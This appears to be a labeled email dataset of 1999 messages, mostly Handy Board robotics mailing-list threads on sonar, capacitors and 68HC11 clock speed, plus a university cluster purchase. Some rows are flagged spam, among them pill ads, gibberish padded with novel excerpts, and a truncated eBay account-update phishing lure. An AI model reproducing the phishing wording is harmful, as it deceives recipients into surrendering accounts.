see my dad with fuzzy paper bits in his hair, eyebrows, moustaces, and all over his clothes. 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",1,0 Will Bain ,Handyboard Mailing List ,"Wed, 21 Apr 1999 10:40:26 -0600",Re: Polaroid Sonar,"MAR ERICSON wrote: > > Anyone know where to get a Polaroid Sonar besides Wirz elevtronics and > Polaroid Corp? They are both out of the product. The Mondotronics Robot Store was selling them, but the price wasn't great. Instead of about $50 per transducer/board combo, they were selling pairs for $150 last time I checked. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Will Bain, Consistency is the last refuge Wendy Parson, of the unimaginative. & Tatoosh --Oscar Wilde ",0,0 """Curt Mills, WE7U"" ",Andre Philippi ,"Wed, 21 Apr 1999 10:33:06 -0700",Re: Mobile Robot Question,"On Tue, 20 Apr 1999, Andre Philippi wrote: > I'm building a mobile robot using an R/C car with an Electronic Speed > Controller (ESC) as the mobile platform, the Handyboard for sensorial data > aquisition, and servo control; and a Linux ""box"" for GPS, videoconferencing, > wireless communications, high level autonomous behavior, and remote control... > > My question is... > > How much are the GPS, the ultrasound radar, the electronic compass, the > stepper motor (that holds and rotates a ""turret"" containing the ultrasound > transducer, the video camera, some IR sensors, and eventually a Laser > range-finder), the servo motors (that control the car), the video camera (I'm > NOT using a wireless video transmitter), the ESC, and the packet modem going > to cause electromagnetic interference to each other? Should I expect any > other type of interference ? Which devices are not gonna be affected or cause > any type of interference ? Which devices generate interference, and what are > my options accessing the problem ? > > Wow! If someone is able to answer all that, we should post the answers in some > FAQ...:) Can anyone answer all that? I think the answer is ""it depends"". Unfortunately it depends on so many variables that you'll just have to implement one system at a time, checking each thoroughly and modifying as you go. Make sure to go back and re-verify each previous system as best you can each time you implement something new. I suspect it'll be a long process. The GPS shouldn't get much interference from anything else unless it gets something coming in on its power lines. Keep the GPS away from your motors though. If you use a DGPS receiver (300Khz), expect great amounts of interference from your other equipment on that radio. Depending on how the ESC is designed, it may throw out a lot of noise which could affect your wireless comm link or some of your sensors. Any motors and some metals can affect your compass. You comm-link could be affected drastically by all of the other noise sources. If (when?) you start having troubles, look at power-supply filtering for each system, and try locating them in different orientations and at different distances to try to determine which system is affecting which. GPS is running the 1.5GHz range, Ultrasonics around 40KHz, Comm link ?? (probably low KHz if anything), DGPS around 300KHz, ESC could be in the KHz range if it is a chopper, Linux box would generate multiple frequencies, Handyboard 8MHz and many frequencies below, packet modem (separate unit from comm radio?) could generate lots of frequencies. Servos, steppers, and motors in the video camera possibly? can generate a wide range of frequencies. I had a packet modem (TNC) interfering with the radio it was attached to at 144.99 MHz at one point. It threw a spur up right on that frequency. The packet modem had a Z80 processor in it. Gives you a clue as to what you might expect. Have I scared you enough yet? ;-) Good luck. Wish I had the time and money to do that. Sounds like fun. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Ian Nieves ,"""Curt Mills, WE7U"" , handyboard@media.mit.edu","Wed, 21 Apr 1999 20:39:17 -0400",handyboard clock speed,"Ive checked the mailing list archives and i cant find a simple answer to the following question: Is it possible to run the HB at >2Mhz? That is, can I run a different version of the 6811 perhaps and get 8Mhz? What are the advantages/disadvantages? Thanks, Ian Nieves ",0,0 """Marco A.A. de Oliveira"" ",Handyboard Mailing List ,"Wed, 21 Apr 1999 22:52:14 -0600",Re: Polaroid Sonar," Greetings, Acroname has them on their parts list, though I am not certain if they have them in stock (www.acroname.com). Marco A. A. de Oliveira assfalk@eece.unm.edu /----------------------------| /-------------------------------/ CNPq Scholarship Awardee | | Research Asst. | | | ACE SMR Project | Assistant Professor | | Soft-computing based Cooper. | (on leave) | | Mobile Autonomous Robotics | PIRENEUS/Control groups | |-------------------------------+-----------------------------| | UNM/NASA ACE Center | UFG- Esc.Eng.Elétrica (EEE) | EECE Bldg. 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It was twenty past three in the morning, a time when even the most disciplined person would be shaken by the shrill bell of a telephone. Why not? David-Jason-was right. Every hour counted now. Alex picked up the phone and touched the numbers for ",1,1 FThompson9@aol.com,handyboard@media.mit.edu,"Thu, 22 Apr 1999 08:52:04 -0400",Electrolytic Capacitor Ratings [was Re: Choosing Parts?],"In a message dated 4/21/99 8:18:41 AM Central Daylight Time, tgb@cozy.core.wamnet.com writes: > > For electrolytic capacitors, you want the printed voltage to be the > >closest voltage above the voltage you are operating at. The voltage listed > > >on the can is the one it works best at. > > I don't mean to be harsh, but this isn't exactly correct. The voltage > is the highest the capacitor is rated for. if you have a 12 V circuit > Your comments aren't taken as being harsh, but I'm still not sure I agree. Now I must say that my comments are based on something I heard in the rummer mill, but it still sounds plausible. What I heard goes like this. Electrolytic capacitors are formed by metal plates placed in a conductive solution. A thin dielectric coating formed on one of the plates. The rummer states that the thickness of this dielectric coating varies slightly with applied voltage. So (according to the rumor), if you want the capacitor to operate at its rated capacitance, you must operated it at its rated voltage. That is the rumor as I've heard it. I have not really heard anyone speak against it other than to say that it is common practice to use capacitors larger than is needed. In most power supply applications such attention to detail is usually not called for. And if your using capacitors in tuning applications, you probably aren't using electrolytics. Is there anyone on the list that is involved in the manufacture of electrolytics that can speak about the truth of this rumor? Pherd ",0,0 Ian Bird ,gilfoyle ,"Thu, 22 Apr 1999 10:51:02 -0400",Re: richmond cluster,"Jerry, Your quote looks pretty much identical to our last purchase - except the upgraded processors and different video card which I guess you don't really care about if it works. Looks good to me. Ian gilfoyle wrote: > hi ian, > > thanks for the advice about the cluster last tuesday. i > called pony computer and got a quote from them for the > machines in the cluster. i was wondering if i could > harass you again and have you look over the quote and > make any suggestions or criticisms you think appropriate. > it looks like we will write the purchase order in the > next week or so. i sent keith a copy of the network > equipment that pony recommended for his feedback. > > thanks-in-advance, > > jerry > > > Qty Item# Description > > 1 AC0142 AC,EXTRA INTERNAL COOLING FAN > 2 AC0200 SECC II TYPE P-II,III FAN > > 1 BS0109 BS,PONY PENTIUM II BASE SYSTEM - assembly > and burn-in > > 2 CP0168 INTEL BOXED PENTIUM-III 450MHZ - 500 MHz > add $245 > 1 CS1104 SUNCHEER THP600 MED TOWER 230W > > 1 DC2001 MYLEX BT-958 32BIT PCI ULTRA-W - scsi > controller > > 1 FD0502 MITSUMI,1.44MB 3.5"" FLOPPY > 1 GC0835 ATI 3D CHARGER 4MB EDO, AGP - video card > > 2 HD0191 SEAGATE ST118273LW,18.2GB,U2-W > > 1 MB0642 ASUS P2B-D PII 440BX ATX DUAL - motherboard > > 1 MT0421 MITSUMI 40X IDE CD ROM > > 1 NW0951 INTEL PILA8465B,ETHEREXPRESS - ethernet > board > 1 OS0801 RED HAT RH5020 LINUX 5.2 INTEL - > preconfigured for multiple processors > > 1 RM0553 128MB PC-100 MHZ,ECC,168PIN - ram > > 1 UW2001 ULTIMATE PC WARRANTY-3YR PARTS > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 Keith Jonak ,gilfoyle ,"Thu, 22 Apr 1999 11:15:32 -0400",Re: a computer cluster at richmond,"Jerry, It looks reasonable to me. The only thing I question is whether on not the Kingston switch has any management built into it. We have found that switches that have some sort of management interface can be very helpful for debugging. You pay a bit more for the functionality, but to me it is worth the money. We have been buying the Cisco Catalyst series with the Enterprise feature set. This gives you a web interface to all switch functions and configurations. The Catalyst 2924-XL-EN is a very good switch for the money. It has 24 10/100 ports and the ability to ""channel"" ports together for increased bandwidth should it ever be required. The list price is $2995, but I imagine you can do better. Eastern Data in Virginia Beach usually cuts about 25% off of the list price. Their number is 800-247-6708. Robert would be the guy to talk to. You could probably get by with the Kingston switch, I just have a thing for management capabilities. Give me a call if you have any other questions. Keith x7696 ",0,0 Patrick Cutts ,handyboard@media.mit.edu,"Thu, 22 Apr 1999 09:12:22 -0700",Re: Electrolytic Capacitor Ratings [was Re: Choosing Parts?],"Capacitance is calculated using the area of the plates, the dielectric constant, and the distance between the plates. It does not have anything to do with the voltage. If a thicker dielectric is formed, it will reduce the capacitance. This is not because of the voltage it was made at, or the voltage it is going to be used at, it's simply because the dielectric is thicker, hence the distance between the plates is greater, and capacitance is inversely proportional to the distance between the plates. Admittedly, this is just theory from the textbook, but I doubt that the value of a capacitor is going to change if used in a circuit with a working voltage that is lower than what the capacitor is rated at. just my $0.02 ---------- | From: FThompson9@aol.com | To: handyboard@media.mit.edu | Subject: Electrolytic Capacitor Ratings [was Re: Choosing Parts?] | Date: Thursday, April 22, 1999 5:52 AM | | In a message dated 4/21/99 8:18:41 AM Central Daylight Time, | tgb@cozy.core.wamnet.com writes: | | > > For electrolytic capacitors, you want the printed voltage to be the | > >closest voltage above the voltage you are operating at. The voltage | listed | > | > >on the can is the one it works best at. | > | > I don't mean to be harsh, but this isn't exactly correct. The voltage | > is the highest the capacitor is rated for. if you have a 12 V circuit | > | | Your comments aren't taken as being harsh, but I'm still not sure I | agree. Now I must say that my comments are based on something I heard in the | rummer mill, but it still sounds plausible. What I heard goes like this. | Electrolytic capacitors are formed by metal plates placed in a | conductive solution. A thin dielectric coating formed on one of the plates. | The rummer states that the thickness of this dielectric coating varies | slightly with applied voltage. So (according to the rumor), if you want the | capacitor to operate at its rated capacitance, you must operated it at its | rated voltage. | That is the rumor as I've heard it. I have not really heard anyone | speak against it other than to say that it is common practice to use | capacitors larger than is needed. In most power supply applications such | attention to detail is usually not called for. And if your using capacitors | in tuning applications, you probably aren't using electrolytics. | Is there anyone on the list that is involved in the manufacture of | electrolytics that can speak about the truth of this rumor? | | Pherd ",0,0 MAR ERICSON ,Handy Board mailing list ,"Thu, 22 Apr 1999 12:17:54 -0400",Polaroid Sonars,"Hi everyone, It seems that the world's Polaroid Sonar reserve is almost depleted. Polaroid is currently in the manufacturing process to produce more. The company www.acroname.com still has them in stock if anyone is interested. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 Bob_Kelly/First_Union@firstunion-reit.com,handyboard@media.mit.edu,"Thu, 22 Apr 1999 12:28:53 -0400",I hope someone can help me...," I am planning on getting some LMD18200 motor driver chips from National Semiconductor and I found some info about which pins go to what by doing a search in the H-Board archive. Great resource by the way. It expalains how to take one of the standard motor drivers out of the board and replace it with .1"" headers and run wires to an offboard 18200 chip. This is fine. The info that I found only gave instructions for pin-outs for running one chip. I would like to run two and still have one of the standard motor drivers in place. There are two ""enable pins"" (pin 1 and pin 9) on the std h-board chip. These pins, at least pin 1, seems to coorespond to the direction signal input, of which there is only one, on the LMD18200. Does this mean I can connect two LMB18200s two one standard h-b socket? If so, does it matter which PWM input and output pins on the HB should be connected to a second LMD18200? Thanks in advance. Sorry about the format I'm using, I am at work and we are using Lotus Notes for e-mail. I can't figure out how to set it to text only and nobody can help me here. ",0,0 Joey Sims ,'gilfoyle' ,"Thu, 22 Apr 1999 13:06:58 -0400",RE: richmond cluster,"would you like me to match that cisco product for your network? > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Thursday, April 22, 1999 12:14 PM > To: Joey.Sims@PonyComputer.com > Subject: richmond cluster > > hi mr. sims, > > thanks for the quick response to my request. i talked > to some of the people at jefferson lab and they suggested > a different network switch might be useful. do you have > any information on the management interface on the kingston > switch? it is helpful to debug the network if the interface > is a good one. jefferson lab is using cisco catalyst > 2924-xl-en switch. > > thanks again > > jerry gilfoyle > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 Joey Sims ,'gilfoyle' ,"Thu, 22 Apr 1999 13:36:48 -0400",RE: richmond cluster,"Jerry, I can get that exact switch for $1985.00 > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Thursday, April 22, 1999 12:14 PM > To: Joey.Sims@PonyComputer.com > Subject: richmond cluster > > hi mr. sims, > > thanks for the quick response to my request. i talked > to some of the people at jefferson lab and they suggested > a different network switch might be useful. do you have > any information on the management interface on the kingston > switch? it is helpful to debug the network if the interface > is a good one. jefferson lab is using cisco catalyst > 2924-xl-en switch. > > thanks again > > jerry gilfoyle > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 """Raymond, Shelby"" ",handyboard@media.mit.edu,"Thu, 22 Apr 1999 13:55:29 -0400",RE: Electrolytic Capacitor Ratings [was Re: Choosing Parts?],"Sorry to say, but the capacitance does change depending upon the applied voltage. As you increase the plate voltage a force is created pulling the plates together. This effectively INCREASES the capacitance. The good news is that this enhancement is very negligable. In my personal experiance, Electrolytic caps suck. They are usually at best +/- 20%. When I design a circuit, I use the good old safety factor for the working voltage to be from 1.5 to 2 times the operating voltage. You never know if you will hook up the circuit to a voltage sufficient to breakdown the lower voltage caps. > Shelby R. Raymond > > Capacitance is calculated using the area of the plates, the dielectric > constant, and the distance between the plates. > It does not have anything to do with the voltage. > If a thicker dielectric is formed, it will reduce the capacitance. This > is > not because of the voltage it was made at, or the voltage it is going to > be > used at, it's simply because the dielectric is thicker, hence the distance > between the plates is greater, and capacitance is inversely proportional > to > the distance between the plates. > > Admittedly, this is just theory from the textbook, but I doubt that the > value of a capacitor is going to change if used in a circuit with a > working > voltage that is lower than what the capacitor is rated at. > > just my $0.02 > ",0,0 Tom Brusehaver ,Bob_Kelly/First_Union@firstunion-reit.com,"Thu, 22 Apr 1999 13:15:45 -0500",Re: I hope someone can help me...," >I am planning on getting some LMD18200 motor driver chips from National >Semiconductor and I found some info about which pins go to what by doing a >search in the H-Board archive. Great resource by the way. It expalains how >to take one of the standard motor drivers out of the board and replace it >with .1"" headers and run wires to an offboard 18200 chip. This is >fine. The If it is the note I posted, also get the followup. The initial post I think I made a couple errors, and then someone said their chips got hot :-o. Anyway a followup post corrected the information. >info that I found only gave instructions for pin-outs for running one chip. >I would like to run two and still have one of the standard motor drivers in >place. There are two ""enable pins"" (pin 1 and pin 9) on the std h-board >chip. These pins, at least pin 1, seems to coorespond to the direction >signal input, of which there is only one, on the LMD18200. Does this mean I >can connect two LMB18200s two one standard h-b socket? If so, does it >matter which PWM input and output pins on the HB should be connected to a >second LMD18200? If you look at the pinouts for the 293 chip, there are 2 h-bridges in the single chip. Using corresponding pins, you can connect 2 LM18200's to a single socket. You should connect the corresponding forward pin to the same 18200 as you connected the enable pin. So pins 1, 2 (or 7) are for one LM18200, and 9, 10 (or 15) are for the other. Make sure you heat sink the LM18200, they will get hot unless they are really lightly loaded. Good luck ",0,0 Gary Livick ,"""Raymond, Shelby"" ","Thu, 22 Apr 1999 11:27:02 -0700",Re: Electrolytic Capacitor Ratings [was Re: Choosing Parts?],"As long as we are talking about caps, I cannot find the information about why one uses tanatlum caps vs ceramic caps vs electrolytic. What are the differences between the various types? Thanks, Gary Livick ",0,0 Michael ,handyboard@media.mit.edu,"Fri, 23 Apr 1999 03:20:18 +0800",smooth PWM!!!!!!!!!!!!,"hi everyone, i like to ask something on the PWM of the handboard. if i only do a command: motor(2,50); motor(3,50); i will get a smooth PWM of 500 Hz of waveform.( -_-_-_-_ something like this) but if i implement the above command into a program with start_process function, i will get irregular waveform( -__-_-_--__-__--_- something like this ) and this affect my stepper motors badly. when i check the waveform, i will get a addition delay of about 1-2 msec. why is this so???? can anyone help???? by the way, my SCK/PD4 pin is faulty which if i set it as output and bit_set it, i will get 5V. but if i bit_clear it, i will get 2.5V( i have already poke the port ). i like to know if the 68hc11 chip is being affected in any way? regards, Michael ",0,0 Charlene UM Aranda ,handyboard@media.mit.edu,"Fri, 23 Apr 1999 00:31:40 +0900",give her what she is looking for bubekelu,"SPUR-M Formula You can increase semen you produce five times Blast five times your load and have powerful more satisfying release. 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There used to be an excellent discussion on capacitors in the ARRL handbook. --Chuck At 11:27 AM 4/22/99 -0700, Gary Livick wrote: >As long as we are talking about caps, I cannot find the information >about why one uses tanatlum caps vs ceramic caps vs electrolytic. What >are the differences between the various types? > >Thanks, > >Gary Livick > ",0,0 Chuck McManis ,FThompson9@aol.com,"Thu, 22 Apr 1999 13:21:14 -0700",Re: Electrolytic Capacitor Ratings [was Re: Choosing Parts?],"Kind of. Electrolytics are indeed made by plates in a conductive solution, however when the voltage increases, it pulls the plates together (standard columbs law stuff). When you exceed the rated voltage the force on the plates is enough to pull the plate _through_ the dielectric and to make contact. The turns the capacitor into a wire and, if current continues to flow, into a small explosive device. If it is oil filled (not as common these days) you get a smokey orange fire ball. (very impressive but scary as hell the first time!) This is why electrolytics get bigger for a higher rated voltage but the same capacity. The plates are made larger and kept farther apart. As someone else stated this is also what electrolytics have such a wide value range (+/- 20% or more). Voltage through the device changes its geometry and its capacitance. (and its why they fail, the dielectric fluid leaks out and they become short circuits) --Chuck (exploder of many a cap) McManis At 08:52 AM 4/22/99 -0400, you wrote: > Electrolytic capacitors are formed by metal plates placed in a >conductive solution. A thin dielectric coating formed on one of the plates. >The rummer states that the thickness of this dielectric coating varies >slightly with applied voltage. So (according to the rumor), if you want the >capacitor to operate at its rated capacitance, you must operated it at its >rated voltage. > That is the rumor as I've heard it. I have not really heard anyone >speak against it other than to say that it is common practice to use >capacitors larger than is needed. In most power supply applications such >attention to detail is usually not called for. And if your using capacitors >in tuning applications, you probably aren't using electrolytics. > Is there anyone on the list that is involved in the manufacture of >electrolytics that can speak about the truth of this rumor? > >Pherd > ",0,0 Tom Brusehaver ,cmcmanis@mcmanis.com,"Thu, 22 Apr 1999 15:48:06 -0500",Re: Electrolytic Capacitor Ratings [was Re: Choosing Parts?]," >Ceramic caps are expensive ($/pf) reasonably stable across temperature and >acceptably accurate. Also (generally) usually less than 1uf >Electrolytic capacitors are cheap ($/pf) only moderately stable across >temperature changes, polarized, and not very accurate (+/- 30% is not uncommon) and generally >= 1uf ",0,0 Ryan Meuth ,handyboard@media.mit.edu,"Thu, 22 Apr 1999 16:43:36 -0500",Faulty Digitals,"Greetings all! I've got a Handy Board with the expansion board, and the first and second digital ins (digitals 7 and 8) aren't working. 7 is stuck in 0, and 8 is stuck in 1. I replaced everything on the board but the processor itself, and I'm not very good at electronics (I know just a tad more than the basics) but I do have access to a logic probe and an Oscilloscope, though I'm not completely sure how to use them correctly. If anyone can help me with this problem it would be greatly appreciated. Thank You. -Ryan ",0,0 Lenny Foner ,cmcmanis@mcmanis.com,"Thu, 22 Apr 1999 18:42:54 -0400",Electrolytic Capacitor Ratings [was Re: Choosing Parts?],"Date: Thu, 22 Apr 1999 13:21:14 -0700 From: Chuck McManis Kind of. Electrolytics are indeed made by plates in a conductive solution, however when the voltage increases, it pulls the plates together (standard columbs law stuff). When you exceed the rated voltage the force on the plates is enough to pull the plate _through_ the dielectric and to make contact. Surely you jest. Do the math and compute the forces. Also, explain how an entire plate moves through an entire layer of insulator---where is the insulator -going-? My understanding of how most caps failed was because an -arc- formed through part of the dielectric. In essence, a spark punches a hole through it at some point where one of the plates just happens to have a microscopic peak and hence a locally-higher charge density. The arc then (a) continues to short out the cap, and (b) generates a lot of heat.",0,0 Barrie Swayne ,jana@aleve.media.mit.edu,"Thu, 22 Apr 1999 11:46:09 -0700",Re: your VtAGrRA,"Hi X L V V P A C a e A I r m I n v L A o b A a i I G z i L x t U R a e I ra M A c n S http://www.neateater.com of Beorn. A feast would be no good, if we never got back alive from it, said Thorin. But without a feast we shant remain alive much longer anyway, said Bombur, and Bilbo heartily agreed with him. They argued about it backwards and forwards for a long while, until they agreed at length to send out a couple of spies, to creep near the lights and find out more about them. But then they could not agree on who was ",1,1 """Fred G. Martin"" ","Ryan Meuth , handyboard@media.mit.edu","Thu, 22 Apr 1999 21:18:20 -0400",Re: Faulty Digitals,"it might be the processor, but more likely there is a board short connecting the dig ins to ground (input 7) and pwr (input 8). measure resistance between the inputs and the gnd and pwr rails to check. fred >Greetings all! > I've got a Handy Board with the expansion board, and the first and >second digital ins (digitals 7 and 8) aren't working. 7 is stuck in 0, >and 8 is stuck in 1. I replaced everything on the board but the >processor itself, and I'm not very good at electronics (I know just a >tad more than the basics) but I do have access to a logic probe and an >Oscilloscope, though I'm not completely sure how to use them correctly. >If anyone can help me with this problem it would be greatly appreciated. > > Thank You. > >-Ryan > > ",0,0 Bill Harris ,java-sig@csc-sun.math.utah.edu,"Thu, 22 Apr 1999 21:41:58 -0600",Salt Lake Java SIG - April Mtg - RMI,"Salt Lake Java SIG - April Mtg. Topic: Java RMI and CORBA When: Tuesday, April 27, 1999 7:00 PM to 8:00 PM Where: Univ.Of Utah campus in Room 110, EMCB (Engineering and Mines Classroom Building) Bret Hansen, of CompuThink, will present an introduction to RMI (Remote Method Invocation) and CORBA (Common Object Request Broker Architecture). RMI is a powerful tool for distributed programming in Java. It is one of the key foundational pieces in Sun's JINI architecture. Refreshments provided by ROMAC International If you have further questions, call Bill Harris at 582-5004. ",0,0 """Raymond, Shelby"" ",handyboard@media.mit.edu,"Fri, 23 Apr 1999 08:16:31 -0400",RE: Electrolytic Capacitor Ratings [was Re: Choosing Parts?],"Sorry, no. The breakdown occurs purely from the dielectric material. Remember lightning? You don't all of a sudden see the clouds come crashing down to the ground and then have a discharge. > Shelby R. Raymond > > Kind of. Electrolytics are indeed made by plates in a conductive solution, > however when the voltage increases, it pulls the plates together (standard > columbs law stuff). When you exceed the rated voltage the force on the > plates is enough to pull the plate _through_ the dielectric and to make > contact. The turns the capacitor into a wire and, if current continues to > flow, into a small explosive device. If it is oil filled (not as common > these days) you get a smokey orange fire ball. (very impressive but scary > as hell the first time!) > ",0,0 Peter ,"Max Davies - HandyBoard , Handy Board Mailing List ","Fri, 23 Apr 1999 11:28:31 -0400","IR test reports ""Rubbish"" when I run test.c","When I try to get the values for my IR transmitter the test.c reports that it is a bad. It calls it 'rubbish' why would that be? -Peter ",0,0 """Curt Mills, WE7U"" ",Ian Nieves ,"Fri, 23 Apr 1999 08:31:13 -0700",Re: handyboard clock speed,"On Wed, 21 Apr 1999, Ian Nieves wrote: > Ive checked the mailing list archives and i cant find a simple answer to the > following question: > Is it possible to run the HB at >2Mhz? That is, can I run a different version of > the 6811 perhaps and get 8Mhz? What are the advantages/disadvantages? From the data books for the 68HC11, if you have any version of the E-series (except for perhaps one, a low-power version?), you can run them at up to a 3MHz E-clock (12MHz crystal). I haven't looked at the rest of the handyboard schematic with that objective in mind though. It would require someone looking at the timing in the datasheets for each component to determine whether it would work reliably. Perhaps Fred/Randy/Chuck may have looked at the circuit with this in mind before? I've been wondering that very same question lately though. I have an E processor in mine, and I would very much like to have an 50% speed increase. I think the A-series processors are limited to a 2MHz E-clock. I'm running an E9 with the ROM disabled. The next question to ask is: ""Will my downloader work with the board running at a different clock frequency?"". I think this is how it works: The HC11 starts downloading at 1200 baud currently, and then switches to 9600 after getting the little 200-odd byte downloader into the chip and running. I'm not sure, but I think the chip would start at 1800 baud for the first 200-odd bytes and then those 200-odd bytes that get loaded into the chip might need to be tweaked to put the chip at a standard baud rate for the rest of the download. BTW: I've now got interrupt-driven serial receive working in my Handyboard GCC libraries, and I've also now tested the stepper motor code on some real stepper motors. I'll try to get the new library up on the ftp site tonight. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Joey Sims ,'gilfoyle' ,"Fri, 23 Apr 1999 14:51:51 -0400",RE: richmond cluster,"you want these systems in rackmount cases? Do you also need the racks themselves? The rackmount cases are more than the regular midtowers. I will adjust the quote I gave you to reflect the system price if you'd like. > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Friday, April 23, 1999 10:48 AM > To: Joey.Sims@PonyComputer.com > Subject: richmond cluster > > hi mr. sims, > > it appears that in the next week or so we will get > permission to buy the equipment for the cluster. i have > another small question. can the dual-cpu's be mounted > in electronics racks and do you sell electronics racks? > > thanks-again > > jerry gilfoyle > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 Fred Martin ,"""Curt Mills, WE7U"" , Ian Nieves ","Fri, 23 Apr 1999 15:36:45 -0400",Re: handyboard clock speed,">I think this is how it works: The HC11 starts downloading at 1200 baud >currently, and then switches to 9600 after getting the little 200-odd byte >downloader into the chip and running. I'm not sure, but I think the chip >would start at 1800 baud for the first 200-odd bytes and then those >200-odd bytes that get loaded into the chip might need to be tweaked to >put the chip at a standard baud rate for the rest of the download. yes, this is right. the fastest you can go with the 52-pin 6811s is 12 MHz crystal --> 3 MHz system clock (i'm pretty sure). so this is only 1.5x over the stock HB. so you've got the issue Curt pointed out with not only the downloader, but also with IC. so unless you're willing to work from the source code of these tools, to deal with the baud rate issue, basically, you're wedged. in my opinion: 1.5x speedup = lots of hassle = not worth it. if you need more speed, write in assembly (maybe using IC's ICB interface), or use ImageCraft's icc11 (www.imagecraft.com) native C compiler. OR, give a try to Kurt Konolige's ""IC Native"" port of the freeware Interactive C. see yours fred",0,1 """Curt Mills, WE7U"" ",Fred Martin ,"Fri, 23 Apr 1999 13:04:09 -0700",Re: handyboard clock speed,"On Fri, 23 Apr 1999, Fred Martin wrote: > if you need more speed, write in assembly (maybe using IC's ICB > interface), or use ImageCraft's icc11 (www.imagecraft.com) native C > compiler. OR, give a try to Kurt Konolige's ""IC Native"" port of the > freeware Interactive C. see Not going to mention the free Otto/Steven/Keith/Curt GCC-2.8.1 HC11 port? I'm hurt. ;-) Maybe you need to add my web & ftp pages to your free software page, now that I have a GCC Handyboard library available? GCC/HC11 patches are available there too. http://www.eskimo.com/~archer ftp://ftp.eskimo.com/u/a/archer BTW: Latest issue of Linux Journal (May 1999), page 88 has a nice article written by a professor in England who's using an 811E2 board with GCC to teach. There's also Dr. Steven Barnicki at Michigan School of Engineering using the DOS GCC compiler (DJGPP) and an HC11 board in the curriculum. A friend just told me about an 8051 back-end to the GCC compiler as well, and I'm trying to track down that link. Perhaps we could get that one combined with the HC11 back-end and have one set of sources for both cross-compilers. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,1 aw-confirm@ebay.com,gail@csc-sun.math.utah.edu,"Fri, 23 Apr 1999 16:35:42 -0500",Update your account,"Dear eBay member, We are contacting you for our safety and integrity of our eBay community! As part of our continuing commitment to protect your account and to reduce the instance of fraud on our website, we are undertaking a period review of our member accounts. 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Other sources of IR interfering with the test. Hardware problems in your IR detection circuit. Using an incredibly unusual remote (either really really new or really really old). I suggest you fully charge your HB and then redo the test in darkness with a different remote. If you still have the same problem, then almost certainly there is something wrong with your IR detection circuit. Good Luck, /Max ",0,0 Octavio Madden ,handyboard@media.mit.edu,"Sat, 24 Apr 1999 11:22:36 -0500","Let us eat and drink, for tomorrow we diet","some breakdown some askew , nnw not thee the ancient ",1,0 Macey Elwood ,handyboard@media.mit.edu,"Mon, 26 Apr 1999 02:08:53 -0500",What's happening in fitness world?,"some quick see rebutted some expository , ineffable may mantis ",1,0 Juan Antonio Navarro Jimenez ,HANDY BOARD MIT ,"Mon, 26 Apr 1999 13:02:28 +0200",CMOS CAMERA,"Anynoe did connect a CMOS camera to Handy Board ? Is possible ? ",0,0 Joey Sims ,'gilfoyle' ,"Mon, 26 Apr 1999 09:05:50 -0400",RE: richmond cluster,"We're going to do some research on the racks themselves. APC makes rack enclosures I believe. Usually, the racks are about as wide as the case itself. I haven't seen any that are 2 wide. The standard rack enclosure holds a single column of systems, routers, etc. Let me get the facts straight and I will get back in touch with you ASAP. Joey > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Friday, April 23, 1999 1:58 PM > To: Joey Sims > Subject: Re: richmond cluster > > opps, i forgot to ask. how do they fit in the racks? i would like > to mount two rows of two machines in each rack (4 machines per rack) > so we would need three racks. > > -- > Dr. Gerard P. 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I'm not positive about the Cisco switch we were discussing but, you can get the UPS in the rackmount form and put the 10 systems in one cabinet and put the UPS's, routers, switches, etc in the other. You may want to ask JLAB how they have their's arranged. 10 Unit Rackmount Cabinet $1821.00 includes shipping 300lbs to Newport News VA. Joey P. Sims Senior Account Executive Atlanta, GA joey.sims@ponycomputer.com Toll Free (888) 809-1588 x 105 Fax (770) 806-1566 ",0,0 David Leary ,"ggilfoyl@richmond.edu, jseaborn@richmond.edu, mvineyar@richmond.edu","Mon, 26 Apr 1999 17:59:51 -0400",matching funds," It's hard to believe, but Herb has agreed to pay all of the $45,589 matching money that you need to purchase your computer cluster. Move your orders forward as quickly as you want! Congratulations, and please let Herb know how much you appreciate his support. We want to encourage similar behavior in the future.... David David E. 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Servo code is probably next, but I'm waiting to see how the discussion turns out on the legbots mailing list before I decide how to implement it. Anyone else playing with GCC? Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 astronauts@mail.goo.ne.jp,handyboard@media.mit.edu,"Tue, 27 Apr 1999 17:09:41 +0900",Please help me.,"Hello all. I have just begun 68HC11 study. So, everyone has a question. 1. I want to know how to change hex file to motorola s19 file. 2. I want to know where it is free disassembler for 6811. Please help me!! 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We have not worried about 